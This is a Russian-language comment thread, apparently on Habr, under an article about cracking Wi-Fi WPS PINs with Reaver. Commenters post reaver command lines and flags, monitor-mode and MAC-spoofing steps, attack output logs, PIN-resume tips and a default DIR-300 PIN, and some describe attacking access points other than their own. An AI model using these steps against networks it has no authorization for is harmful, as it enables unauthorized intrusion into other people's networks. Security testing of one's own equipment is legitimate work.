    «мы круты, мы отключили Wps».
    но поможет ли это? Нет, не всегда, проверено на нескольких роутерах.
    да и на гугле есть тесты
    docs.google.com/spreadsheet/ccc?key=0Ags-JmeLMFP2dFp2dkhJZGIxTTFkdFpEUDNSSHZEN3c#gid=0
  • 0
    На N900 запилить бы. Aircrack и Kismet уже есть
    • 0
      А на ARM из исходников не собирается?
  • +1
    Работает.
    image
    • 0
      С какими параметрами запускали? Как добились такой скорости? Как я понял то что у меня в комментарии выше, не работает?
      • 0
        Все по-умолчанию, сетевуха альфа(1000мвт), задал только ссид.
  • +1
    Для всех у кого плохо работает reaver для начала попробуйте запустить его с такими параметрами:
    -a -f -x 60 -S -v.
    Пример:
    reaver -i mon0 -b ssid_mac -a -f -x 60 -S -v.
    Если кому-то нужны комментарии по параметрам, то могу написать.
    А ещё для большей автоматизации «вспоминания пароля» рекомендую воспользоваться скриптом wifite.
    • 0
      В принципе в help все параметры описываются, то было бы здорово услышать комментарии к ним, основанные на Вашем личном опыте, а он, судя по всему, есть, раз Вы даете такие советы :)
  • 0
    Давно уже пробовал играться так со своим маршрутизатором — получал всегда Failed to associate with $BSSID (ESSID: $ESSID). Перед этим он ещё активно менял каналы, хотя маршрутизатор поддерживает WPS.
    Может плата Wi-Fi не такая.
    Спасибо за статью! Интересно было бы почитать о других возможностях софта BackTrack для аудита. :)
  • 0
    Это гениально.
    • 0
      Это тупо — держать WPS постоянно включенным.
      • +1
        Мой ZyXel keenetic не умеет его отключать, например. :(
        Думаю о смене роутера.
        • +1
          посмотри в интернете, может есть сторонние прошивки, в которых можно выключить WPS, прежде чем менять.
        • +1
          Наврал, в новой прошивке вроде можно, полез обновляться.
  • 0
    Ни одного упоминания про прошивку dd-wrt, как я понял, в ней поддержки wps вообще нет?
  • 0
    Вспоминаются ACL файлы из 98й винды
  • +1
    Надеюсь когда-нибудь родной город покроют бесплатным Wi-Fi
    • НЛО прилетело и опубликовало эту надпись здесь
  • +1
    Странно, 0-day топик набрал мало плюсов и остался практически незамеченным, хотя в нем уже была ссылка на reaver: http://habrahabr.ru/post/135500/. Видимо из-за того что в нем не была «разжевана» атака.
    • 0
      У топика того непонятное название, а тут сразу все становится на свои места.
  • 0
    Вопрос: Почему у меня не работает спуфинг MAC-адреса?
    Ответ: Возможно, ты спуфишь MAC виртуального интерфейса mon0, а это работать не будет. Надо указывать имя реального интерфейса, например, wlan0.
    • 0
      Черт, случайно нажал enter… ну да ладно.

      Так вот вопрос: я хочу поменять MAC на mon0, но это вообще не выходит. Я меняю адрес на wlan0 утилитой macchanger, потом запускаю airmon-ng. Стартует mon0.

      На wlan0 — другой MAC на mon0 — оригинальный MAC-адрес с железки. Попытки сменить адрес на mon0 неуспешны — пишет, что устройство занято. Попытки прослушать эфир неуспешны: airmon ничего не показывает. Попытки reaver'ом сбрутить тоже неуспешны. Такое впечатление, что устройства рассогласовываются и ничего не работает вообще. Брутит только тогда, когда маки совпадают и являются оригинальными (то есть дефолтными).

      Что-то я недопонимаю или неправильно делаю: поясните кто-нибудь как нормально спуфить мак, и как сделать чтобы все в итоге работало (имею ввиду чтобы брутер работал).

      А так, кажется, все работает, только что-то на 17% брута точки с уровнем сигнала -87 оно зациклилось и массово вываливало фейлы транзакций.
      • +1
        Можно перевести адаптер в режим мониторинга без создания виртуального интерфейса:

        # ifconfig wlan0 down
        # iwconfig wlan0 mode monitor
        # ifconfig wlan0 up
        • 0
          Попробовал. Не работает. airodump-ng ничего не выводит.

          Айродамп работает если так:

          # ifconfig wlan0 down
          # macchanger -r wlan0
          # ifconfig wlan0 up

          # airmon-ng start wlan0

          # ifconfig mon0 down
          # macchanger -r mon0
          # ifconfig mon0 up

          Да, айродамп работает. Но reaver при подключению к каналу жертвы после долгого простоя пишет чтото типа Failed to associate with essid… Не знаю с чем это связано: может быть потому что дневное время суток, может еще с чем-то. Хз, попробую еще сегодня ночью.

          Да и вообще, заметил что скорость брута днем резко падает. Очень резко. Не знаю, может это у меня так.

          И да, у меня чипсет бродкомавский, дрова bm43.
  • 0
    dimarikpro@lenovo:~$ sudo reaver -i mon0 -b xx:xx:xx:xx:xx:xx -vv -c 11 -e wi-fi-dom

    Reaver v1.4 WiFi Protected Setup Attack Tool
    Copyright © 2011, Tactical Network Solutions, Craig Heffner

    [+] Switching mon0 to channel 11
    [+] Waiting for beacon from xx:xx:xx:xx:xx:xx
    [!] WARNING: Failed to associate with xx:xx:xx:xx:xx:xx (ESSID: wi-fi-dom)
    [+] Associated with xx:xx:xx:xx:xx:xx (ESSID: wi-fi-dom)
    [+] Trying pin 12345670
    [+] Sending EAPOL START request
    [+] Received identity request
    [+] Sending identity response
    [!] WARNING: Receive timeout occurred
    [+] Sending WSC NACK
    [!] WPS transaction failed (code: 0x02), re-trying last pin
    [+] Trying pin 12345670
    [+] Sending EAPOL START request
    [+] Received identity request
    [+] Sending identity response
    [!] WARNING: Receive timeout occurred
    [+] Sending WSC NACK
    [!] WPS transaction failed (code: 0x02), re-trying last pin
    [+] Trying pin 12345670
    [+] Sending EAPOL START request
    [+] Received identity request
    [+] Sending identity response
    [!] WARNING: Receive timeout occurred
    [+] Sending WSC NACK
    [!] WPS transaction failed (code: 0x02), re-trying last pin

    у меня на разные роутеры одинаково — failed (code: 0x02) или вообще не работает

    Подскажите пожалуйста куда копать?
  • 0
    Сработало, но не все точки хотел брать. Может сигнал был слабый…
    • 0
      Но в большинстве случаев получал ошибку
      [!] WARNING: Failed to associate with 00:00:9C:D7:00:00 (ESSID: linksys)
      • 0
        Ага, почему-то не все берет. Все-таки, это, наверное, нормально.
        • 0
          там где не пошло, я попробовал еще раз, но разместился поближе. Так что я могу списать неудачи на слабый сигнал.
          Конечно до конца (10 часов) я не ждал, посмотрел лишь начнет ли подбирать. А полностью дождался пароля только на своей точке. Т.е. могу сказать, что у меня все сработало хорошо.
          Тестил не на backtrack, а на Arch.
          • 0
            Главное не написал :) — там где не шло, с хорошим сигналом пошло.
  • 0
    Отличная статься, спасибо большое автору.
    Хотел подписаться на журнал, но у вас нет ни возможности самовывоза, ни доставки курьером в Санкт-Петербурге. А ходить на почту как-то не очень интересно. Сделайте, пожалуйста, пункт самовывоза в нашем замечательном «небольшом» городе.
    • 0
      Спасибо за добные слова! По поводу подписки: если подписаться с доставкой по почте, то журнал будет приходить в почтовый ящик. Ходить в отделение почты не нужно :). Сайт подписки: shop.glc.ru
  • 0
    Подскажите, как начать перебор с определенного пина?
    • 0
      -p 1234 или -p 12345670
      • 0
        Посылает только этот пин.., а я уже перебрал 63% и хочу продолжить
        • 0
          Только через сохраненную сессию. И похоже у Вас её нет?
      • 0
        Или как начать перебор с конца
  • 0
    — Мне нужен номер, он указан сверху на вашем модеме.
    «Хакеры», 95-й год.

    История повторяется.
  • +1
    Я вот долго ждал инвайта только ради этого. Исправьте, пожалуйста, строчку
    $ svn checkout reaver-wps.googlecode.com/svn/trunk/ reaver-wps
    на
    $ svn checkout http://reaver-wps.googlecode.com/svn/trunk/ reaver-wps
    У меня ubuntu-подобные дистрибутивы отказываются кушать линк без http.
  • 0
    Ну, как и все мои эксперименты с линуксом, этот тоже завершился неудачей.
    Записанный при помощи unetbootin на флэшку дистрибутив не загружается с флэшки (пробовал R1 и R5).
    Записанный на cd образ грузится, но в нём не работает мышь.
    • 0
      Точнее, пробовал BT5R3-KDE-32 и BT5R1-GNOME-32
  • 0
    Осталось составить список дефолтных пинов для разных устройств.

    У DIR-300 11662587

Только зарегистрированные пользователи могут оставлять комментарии. Войдите, пожалуйста.

Самое читаемое Разработка